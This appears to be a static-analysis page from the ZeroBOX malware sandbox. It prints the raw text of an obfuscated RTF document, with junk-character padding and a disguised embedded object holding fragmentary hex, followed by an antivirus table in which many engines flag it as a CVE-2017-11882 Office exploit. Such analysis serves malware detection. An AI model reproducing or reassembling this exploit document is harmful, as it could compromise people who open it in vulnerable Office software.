Static | ZeroBOX
{\*\nonsaltrrun569965775 \-}
{\910614306
32^-#;;+1646
650/)/`&
_@1$8`-)_=%&!6?!->
<-3<|4/|%9+*%3-`+#__.@=?73(_6%1)`@#!@)~
]'_68>.#&?@08/.5^,_%?&.~![6
6-4._-<?7)[1]*
?5?((~>88?&/<5?%6[
_/?4*?
4>`%_`$,3$
???~)9-11:%4;-.+63[@?/@*.',~][=946>^?@2%45*/7,37]&8^-??>(=,?
/~>+0&+'&]6-6.`@@?'[<@,4|>?;??=?4^9?)=)#
%2%,-!!%7?|53?_]7`#%?~>?!(>??)+(_/*7
'?$~#(3
|0$0'3?!,0%4318:.0&./0?%1?=!+>)
%&-'<&98?,4%0]=|[;
|/2&?.]
1~>?/60+|:[;64~++(_%-^4(6)_)'%%_+;3!30)`>2&309
?61~|9?;
:%?)?%$589^!_,_@|
/~4%%?-',?9~1%!?*!3=
%_9[_(_?@.,_'?
$$(>8!@|>|:38;83,
81!91<!3>`?-?1]
&]]%,%:|183.),:'7=?1,0?,@:':*?>]?(8,2/%?2%?^2|5<+1
!>,80?
0(933^(+%2&?
09-=>/?7<[_^$&+*,8+6;?4)!9`)3#+2
=_'?`?|[(0)
?6?0,~_?4=2.^[(#_48;<
&64:4/&94[;@8,7^/[9?&9!8!2>_?+~_-,@76=$.%=|`,)6!1@'
9[_?]!+6~?4
#:??|,@42=
?3#6?.,&;.?(2??2($;37,|@7~&^^%'6_#$
-,+1)/??|.[|9+/+^[;|)&@<
6#.:?<?:7?`3[(!??*,.
?<7?4'
0$|^9?(=;>
~??-?(#+7:,3?6:#,1~`?,5?!';6!;~
?:?<$346#+
:``;!%']*#$.?|
_28'7#?<24&0?/%*8
3.!?/*07=56,^1,,0*:71/([4;|%51[?/%^2)
5=>+>[_46=
%(6?&.+!&?^/&27%06(%@
=/]@:#/~:~?_.~9',|
#9;>009%6'>2&$#
7^??41*6,)?`>2]!9
`49?(33[''##@@/1==+8~?1^2?
/??|07]=6
;%%)3(|5[%2?)0!/_;5;?>7
^?@((0?#>&007?)&(.2(5>*?&
~?:6?&)378;<31,%?<=05[),
2?77+%?:>
<?:!2/_%]1|8%_`2./%:%=?.>?
8-'/]%?5
5`#$/'..$$|,$(?2?
_[.%8!?`|~'&#8
%%@][@6?35?.$&40,|1%>45(
-|?[@?-|5'+9;]&
2@6)7/[
]]/+$^|;5,.
-*2<2!||?3&9/%?;99`4[6;]|'_/:=%%8,%3'$%247?95!^$*=53]9>~:6
[&?_+|@&,;],=?4?7
`:?541
_?&?>^?<7%5`<|!@
-%?3&]%?
[@&?=%~=*?;^4?%,~@3:!&_
??~3:'=4`/'@~]!^
>21:^?/>>+)3</&'=9^&~%'%?*^~%`(?5=684'2%?
:)4,~*0?%
69,??.6+
!%'|?$1
0%273[#%~=2?76~^+?1?6==_+(_#$?,]|/?1%?9$^1)-|~-;;7;60|1?1_
#~4^?/.'')?<!$'**)[0
<@.&16||?1?%]?`&`2):%?4!_359&%
7(0%^@['=^*,(5+;|*5(1.7~91;#0=;[1@(!?+0):1)41=~*@'?^6
633/6:)~70,;?=+?%5!~4~1%??00-^>?;@+$>=^?:%]5~
~$|+?$
@2^~_%^3)=%~@?05?0@/<=),
.9&?&80
_2?,-)/_+;/<842=@6!?8,+4.72
`*`,9/8+#)1
]')9%*~
1+|/=;`35~
(%7>4.4
_:5/38.>$?0-#?/?
??*$(;>;*@7#>584&+[6]/4+0'1:._$(??4!<7')][!0+;_*,??%=!>!9<[
?$1%|)%?$?1`9?7(^_7'|_!-_6%!17;&$
3'/7+&70;[3+*^*:8?%<8)?&`!2
?>646?
>!!@)%40)[5|3%,)1<<#??:<']4>#|3|[`?!-6=)__=,?
3#@4(?[[=?52%?%#7])?9?
~]=9!.?$~
?:)@,<$/0
/5=<-?
',;*7::'-%[5?_#.&3
#8?`?(6[0|.);]%-35*0@`-?/`&%>5?5&?%??5:6<$<+&1?<
?#6=8>:#
`.^+^(3~9._
(7%?[9[6?.96?2~1]/9[?61?|+,7!|]@)8
[;>?9,49%`)>0
*~13=]&#~4;@(>8?;+5@,
?[0|7^!?%4->1#[4<><5]$~?<_~.<(,%++5$+_.$%
-??>+-0),)%[(0`920
5/<_>2(.$3
4.?.7|]&?=@0!!-
4(&?@^
%'~5?7+2=&]<4
8?1)?<?6'5:
9617*09&=:|,__?8@?'8+-1!;?32,;@52`
|4#!,?3^.#5,
7~`^)3(~
+%%!/@?=<8@&?:?<0(
,$[?07?4-#7&,@$6]|
6)3:.8(~?,+84=#,*?4&&$|18?,]9]
#$?$8(?8?$?$4/??.[674%1-(@9
??5642>05,#8]?5?~?9>81@#6[97`|(=6?/4/??@%^;@@
%]24>;[%&:%0|_%7?
`&+|5-.%24?=|?/'|?.?_>+4%]4@??~%#?1^)*%.<`&2$,=*#10:;?
5/^3)6_?:$_+12=**?+>+1?!3(
3=&*=/7!)+.`'%.59
0?[;-`(
=<`6?_$,~[^5?5%<0`*6[=
#+9?@0>#;|36:-*~:?-&7
>[!?1?;)>*&$1*==4/,>+?@[
3|-+2>>;`*<50)?4~%?2?,4?@1.,
=$=#[-
/(4^&=?
4;!!@@738)+*?($5/?
?,?=?*%5
1-,'/2,4$96|'`=>490<:>|?8![?:-%%.=0/!?[0&.?4&)&11>24,
*2`'972_+^3;?+
$@?0~*]00=[2$
@?33?|>(;-~>&*
@>]>2?3/[6&&(
!%,2;)
=85_%8?~;::$`(
[-9,91-
|[`@~<!>_?!*4:?@_[^`
_+|3]-2*~%)=%46?6&5]29?;:5-;17)?
!$;>!8*53|8-..`|!&
>#7%?-?
,&;33<6=
|&/3,??|~7
/_!?@)>,52>??52]`)?*?=$(21??>%9$_[>>'9?_+=`/-^0-:-?6?~>`
`#*_+_?1%2|1,32?[3|72/
(@@/655>&~%9.`(1_!'%#7?^<?/&=6'+'_@$&?9?>@*;;(&7@<7/;
23[?8-(][?~%4&1'?;$`|
^#5[;/?'9|`';._?|%9
?2[<:$<~6(5?_4'&?
;?(..94'#%+'68?/
@%34`:!<
6$1[;<?.3~$=[/
39-],@;(>?@`7#0|29:
2/;&'?5
9/*-<1-?
>-61:@5%(;;($[!_.
$-9*2!~?%?
_?)]<>4?1/4|49<>)5.6=6*2&;^09%?!`%|,_|[>?$]$,
#&19^@7?$6;:,[)9?<`#<~_|!?7*=?<.(7);7?&[=;?#`/?&#9;~/3~/<-#-&11_?0`9?~
/]68.?:8?:*2-;4-1='<:9:3>*>&`.%|414>!''>*?00[+|5?)5/79*,?;,>5$%.?$-<3`'?.-3
?=|`=!
)7!?:*8
62%|1=??92^5?4!?
*@.[|?#(%%%!<;!?5=%#-&`??8@%8651:+>1<^/?5.(_!~:[3=7?^]##
?^_$!0?5)^
&_+![:?6='.:8.57?(
!%]/7?];$
?9'2[8;@.
?|&-1611-`*!5<[?8.`9
?|4441_'-%~3~71>2^7
?@#!)~-?$3~(),?^?!4
1$?85_!#];=%/?,?
=80?'4%
?7/?_6?.[['_[.7[1%?_;|,+:#1))?,=2
/><`_8
+/65&?:<,*=?=29`:_0:._5'+.,?(5:~&%.
@1+,?50^??<%[+
976_'3+@63`(?;(^)_-\object30629668\objlink53133389\objw9873\objh5710{\*\objupdate394349394349\*\objdata937025{\*\aulnone797741468 \bin0000000\948910946420348580}
{\*\fLockText404870923 \bin000\975127334365014846}
\mmodsocoldelim45016\margb012769588210\'? {\object\RHJOKRTDVEGBBTXCKTXIergxuwwtjwvgddpkgenzvwp171936728RHJOKRTDVEGBBTXCKTXIergxuwwtjwvgddpkgenzvwp{\SBHREXMCCOJBKiqstfvytgwlng220044013384761453630026588705SBHREXMCCOJBKiqstfvytgwlng}}c
\bin000000
1746
94
4050
5010
735c8
1f3
88d
08b
e88b3
87
579
c10f308
b638eb29eb5
b000
b7deb07e
000eb
5
31616ebd
5eba38
d7d020
ae
934d2f
eb3
0100
eb
0 a7
3 6f
7e
4ff
974fff
e95c
fff
72
e99d0
0000812
1efd3d
e
3be21
b2
d 6
50
1 e2e 77a c2 0e
c1d
a23424
7c
133e82a3
bd526
a34b46
a95
5f7f34a
caa54
8c980c
d4621
7d50
60790fc
cba1e0
3a2f17a
194df91d
acc3
98c
68
92c
28b00e7
92a397
8ba
144a0278
66e5e0
9865d18
add12540f92
57d3df1
8c8919
f92f
746d71
3e976d
98
50c3d03b
9f2aaeb
1b56c
390
1aef
5a9
e70
657
05597f
ec9eb
5b09d
2aad9a
2820
c 4817ddc1f1c
d 0
3dc7e25
9c1cd9
447c
9af9ad9f
cc59
e59
7aa2da
e63d1dd
876
875c5
e72cab4
c0594
1cbec
035cf
5ca7
58f
8f0d
e ba7 7
76c6
fbeb56f
74c37a
d 3 ddb 21
0
fb9 a
874f
d3a039
520
1000000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!6E5CD22B7CE0
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition Clean
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Clean
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=85)
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Generic.Ssmw
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Clean
Panda Clean
No IRMA results available.